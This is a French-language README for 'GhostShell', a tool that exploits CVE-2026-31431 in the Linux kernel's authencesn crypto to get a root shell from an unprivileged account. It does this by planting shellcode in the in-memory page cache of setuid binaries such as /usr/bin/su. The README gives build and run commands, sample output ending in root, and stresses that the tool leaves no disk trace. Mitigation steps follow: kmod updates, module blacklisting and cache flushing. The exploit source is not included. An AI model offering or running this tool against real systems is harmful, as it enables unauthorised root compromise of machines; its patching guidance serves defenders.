
CVE-2026-31431 — Élévation de privilèges locale via la corruption du cache de pages du noyau Linux
CVE-2026-31431 — Élévation de privilèges locale via la corruption du cache de pages du noyau Linux
GhostShell est un outil d'élévation de privilèges locale qui exploite une faille dans l'implémentation crypto AEAD authencesn du noyau Linux pour obtenir un shell root à partir d'un compte utilisateur non privilégié. Il corrompt le cache de pages en mémoire d'un binaire setuid-root (par ex. /usr/bin/su) en y plaçant du shellcode à son point d'entrée, puis l'exécute — obtenant setuid(0) + setgid(0) et lançant un /bin/sh privilégié. Aucun fichier sur disque n'est modifié ; seul le cache de pages en mémoire est affecté.
En bref : vous l'exécutez en tant qu'utilisateur normal, et il vous dépose dans un shell root.
Découvert et divulgué par Theori / Xint. Analyse complète : copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Cible : /usr/bin/su
Taille : 63576 octets
Décalage d'entrée : 0x1a50
Shellcode : 94 octets (24 itérations)
[*] Vérification de la vulnérabilité du noyau...
[+] Le noyau EST vulnérable.
[*] Corruption du cache de pages de /usr/bin/su avec le shellcode...
[*] Application du correctif au décalage 0x01a50 (24/24) ...
[*] Vérification de la corruption du cache de pages...
[+] Shellcode vérifié dans le cache de pages !
[*] Exécution du binaire setuid corrompu...
[*] En cas de succès, vous devriez maintenant avoir un shell root.
[*] Aucune trace sur disque. Seuls des fantômes dans le cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (août 2017) jusqu'aux noyaux corrigés en avril 2026.
kmodLe correctif recommandé pour CVE-2026-31431 consiste à corriger le paquet kmod (utilitaires de modules du noyau) qui fournit le module de chiffrement AEAD authencesn vulnérable. Des paquets mis à jour qui désactivent ou corrigent le chemin de déchiffrement en place via splice() ont été publiés par les principaux distributeurs.
# Vérifier la version actuelle de kmod
modprobe --version
# Mettre à jour vers la version corrigée
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Vérifier la mise à jour
modprobe --version
# Mettre à jour kmod vers la version corrigée
sudo dnf update kmod
# Vérifier
rpm -q kmod
sudo pacman -Syu kmod
Après avoir corrigé kmod, confirmez que le module authencesn vulnérable n'est plus chargeable ou a été mis à jour :
# Tenter de charger le module — sur les systèmes corrigés, cela devrait échouer ou signaler une version corrigée
modinfo authencesn
# Alternativement, vérifier que le noyau en cours d'exécution inclut le correctif d'avril 2026
uname -r # devrait être >= à la version du noyau corrigée pour votre distribution
Si vous ne pouvez pas mettre à jour kmod immédiatement, vous pouvez bloquer le chargement du module de chiffrement vulnérable :
# Mettre sur liste noire le module authencesn
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# Mettre également sur liste noire le module générique authenc pour plus de sûreté
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Le décharger s'il est actuellement chargé (peut échouer s'il est en cours d'utilisation)
sudo modprobe -r authencesn 2>/dev/null
Redémarrez après avoir appliqué le correctif ou la solution de contournement pour garantir que toutes les entrées de cache de pages corrompues sont effacées.
| OS | Noyau |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Cet exploit a uniquement été testé sur le système ci-dessus. Les résultats peuvent varier sur d'autres distributions ou versions de noyau.
<linux/if_alg.h>) — généralement inclus avec linux-libc-devInstaller les dépendances de compilation sur Ubuntu/Debian :
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
Aucune bibliothèque externe requise.
Détection automatique de la cible (vérifie les binaires setuid courants comme su, sudo, passwd) :
./ghostshell
Spécifier une cible manuellement :
./ghostshell /usr/bin/sudo
Si le noyau est vulnérable, vous serez déposé dans un shell root (#).
_start.patch_chunk() (24 itérations), en utilisant la faille de déchiffrement en place via splice() d'AF_ALG.execl() sur le binaire corrompu. Le noyau le charge depuis le cache de pages et le shellcode s'exécute avec les privilèges setuid-root, lançant un shell root.L'exploit corrompt uniquement le cache de pages en mémoire. Un simple redémarrage l'efface entièrement.
Pour vider les caches sans redémarrer :
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Si des pages sales ont été réécrites sur disque (peu probable mais possible), réinstallez le paquet affecté :
sudo apt-get install --reinstall util-linux # pour /usr/bin/su
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
Ce projet est sous licence MIT License.
La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, copier, modifier, fusionner, publier, distribuer, sous-licencier et/ou vendre des copies du Logiciel, et de permettre aux personnes auxquelles le Logiciel est fourni de le faire, sous réserve des conditions suivantes :
L'avis de droit d'auteur ci-dessus et cet avis de permission doivent être inclus dans toutes les copies ou parties substantielles du Logiciel.
LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE SERONT RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, HORS DE OU EN RELATION AVEC LE LOGICIEL OU L'UTILISATION OU AUTRES TRANSACTIONS DU LOGICIEL.